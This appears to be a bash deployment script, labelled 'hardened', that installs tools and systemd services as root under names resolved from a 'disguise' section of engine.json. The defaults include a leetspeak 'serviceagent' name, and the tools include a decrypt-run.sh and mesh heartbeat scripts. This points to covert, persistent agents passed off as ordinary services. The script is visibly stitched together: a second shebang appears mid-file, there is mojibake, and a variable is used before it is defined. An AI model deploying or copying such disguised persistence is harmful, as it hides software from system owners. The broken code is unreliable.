#!/bin/bash
# deploy.sh — Hardened deployment script for ${_engine_name} mesh
# Sets proper permissions and validates all files before deployment
set -euo pipefail
IFS=$'\n\t'

#!/bin/bash
# deploy-resolver.sh â€” Engine.json resolver block
# Injected at top of deploy.sh to resolve disguised names

# -- Resolve disguised names from engine.json --
_ej="${DEPLOY_ROOT}/engine.json"
if [[ -f "${_ej}" ]] && command -v python3 &>/dev/null; then
    _tool_dir=$(python3 -c "import json; print(json.load(open('${_ej}'))['tool_dir'])" 2>/dev/null || echo "/opt/binary/tools")
    _hello_name=$(python3 -c "import json; print(json.load(open('${_ej}'))['tool_map'].get('b2e0','hello'))" 2>/dev/null || echo "hello")
    _daemon_name=$(python3 -c "import json; print(json.load(open('${_ej}'))['tool_map'].get('a1f0','s3rv1c3agent'))" 2>/dev/null || echo "s3rv1c3agent")
    _service_name=$(python3 -c "import json; print(json.load(open('${_ej}'))['disguise']['service_unit'])" 2>/dev/null || echo "${_daemon_name}.service")
    _engine_name=$(python3 -c "import json; print(json.load(open('${_ej}'))['disguise'].get('runner_primary','nnx'))" 2>/dev/null || echo "nnx")
    _engine_service="${_engine_name}.service"
    _node_id=$(python3 -c "import json; print(json.load(open('${_ej}'))['node_id'])" 2>/dev/null || echo "unknown")
else
    _tool_dir="/opt/binary/tools"
    _hello_name="hello"; _daemon_name="s3rv1c3agent"
    _service_name="s3rv1c3agent.service"
    _engine_name="nnx"; _engine_service="nnx.service"
    _node_id="unknown"
fi
readonly TARGET_TOOLS="${_tool_dir}"
readonly TARGET_CONFIG="${_tool_dir}/config"


readonly DEPLOY_ROOT="${1:-/mnt/agents/output/hardened}"
readonly TARGET_SYSTEMD="/etc/systemd/system"
readonly TARGET_SBIN="/usr/local/sbin"
readonly NODE_ID="${NODE_ID:-${_node_id}}"

declare -i ERRORS=0

log_deploy() {
    local lvl="${1:-INFO}" msg="${2:-}"
    printf '%s [%s] [deploy] %s\n' "$(date -u +%Y-%m-%dT%H:%M:%SZ)" "${lvl}" "${msg}"
}

check_file() {
    local file="${1:-}" expected_perm="${2:-}"
    if [[ ! -f "${file}" ]]; then
        log_deploy "ERR" "Missing file: ${file}"
        ((ERRORS++)) || true
        return 1
    fi
    local actual_perm
    actual_perm="$(stat -c '%a' "${file}" 2>/dev/null || printf '%s' '000')"
    if [[ "${actual_perm}" != "${expected_perm}" ]]; then
        log_deploy "WARN" "Wrong permissions on ${file}: ${actual_perm} (expected ${expected_perm})"
    fi
    return 0
}

# ── Validate all required files exist ──────────────────────────────────────
log_deploy "INFO" "=== Deployment Validation ==="

# Dynamic REQUIRED_SCRIPTS from engine.json
REQUIRED_SCRIPTS=()
if [[ -f "${_ej}" ]] && command -v python3 &>/dev/null; then
    while IFS= read -r tool_name; do
        REQUIRED_SCRIPTS+=("${tool_name}:750")
    done < <(python3 -c "import json; d=json.load(open('${_ej}')); [print(v) for v in d.get('tool_map',{}).values() if not v.endswith('.service')]" 2>/dev/null)
fi
# Always include shared tools
REQUIRED_SCRIPTS+=("common.sh:750" "se_client.sh:750" "mesh_heartbeat.sh:750" "mesh_report.sh:750" "deploy.sh:750" "decrypt-run.sh:750")


for entry in "${REQUIRED_SCRIPTS[@]}"; do
    IFS=':' read -r script perm <<< "${entry}"
    check_file "${DEPLOY_ROOT}/${script}" "${perm}"
done

check_file "${DEPLOY_ROOT}/${_engine_service}" "644"
check_file "${DEPLOY_ROOT}/${_service_name}" "644"
check_file "${DEPLOY_ROOT}/engine.json" "600"

if (( ERRORS > 0 )); then
    log_deploy "ERR" "Validation failed with ${ERRORS} errors. Fix before deploying."
    exit 1
fi

log_deploy "INFO" "All files validated. Ready for deployment."

# ── Deploy (dry-run by default) ────────────────────────────────────────────
if [[ "${2:-}" == "--apply" ]]; then
    log_deploy "INFO" "Applying deployment..."

    # Stop services
    systemctl stop ${_service_name} 2>/dev/null || true
    systemctl stop ${_engine_name} 2>/dev/null || true

    # Deploy scripts
    mkdir -p "${TARGET_TOOLS}"
    for entry in "${REQUIRED_SCRIPTS[@]}"; do
        IFS=':' read -r script perm <<< "${entry}"
        cp "${DEPLOY_ROOT}/${script}" "${TARGET_TOOLS}/${script}"
        chmod "${perm}" "${TARGET_TOOLS}/${script}"
        chown root:root "${TARGET_TOOLS}/${script}"
        log_deploy "INFO" "Deployed ${script} (${perm})"
    done

    # Deploy systemd services
    cp "${DEPLOY_ROOT}/${_engine_service}" "${TARGET_SYSTEMD}/${_engine_service}"
    cp "${DEPLOY_ROOT}/${_service_name}" "${TARGET_SYSTEMD}/${_service_name}"
    chmod 644 "${TARGET_SYSTEMD}/${_engine_service}" "${TARGET_SYSTEMD}/${_service_name}"

    # Deploy config
    mkdir -p "${TARGET_CONFIG}"
    cp "${DEPLOY_ROOT}/engine.json" "${TARGET_CONFIG}/engine.json"
    chmod 600 "${TARGET_CONFIG}/engine.json"

    # Create required directories
    mkdir -p /var/log/s3rv1c3agent /var/log/sysc-engine /run/se/state /run/se/logs /dev/shm
    chmod 750 /var/log/s3rv1c3agent
    chmod 700 /run/se /run/se/state /run/se/logs

    # Fix binary permissions
    chmod 755 "${TARGET_SBIN}/${_engine_name}" 2>/dev/null || true

    # Reload systemd
    systemctl daemon-reload

    # Start services
    systemctl enable ${_engine_name}
    systemctl start ${_engine_name}
    sleep 2
    if systemctl is-active ${_engine_name} >/dev/null 2>&1; then
        log_deploy "INFO" "${_engine_name} started successfully"
    else
        log_deploy "ERR" "${_engine_name} failed to start"
        exit 1
    fi

    systemctl enable ${_service_name}
    systemctl start ${_service_name}

    log_deploy "INFO" "Deployment complete."
else
    log_deploy "INFO" "Dry run complete. Use --apply to deploy."
fi
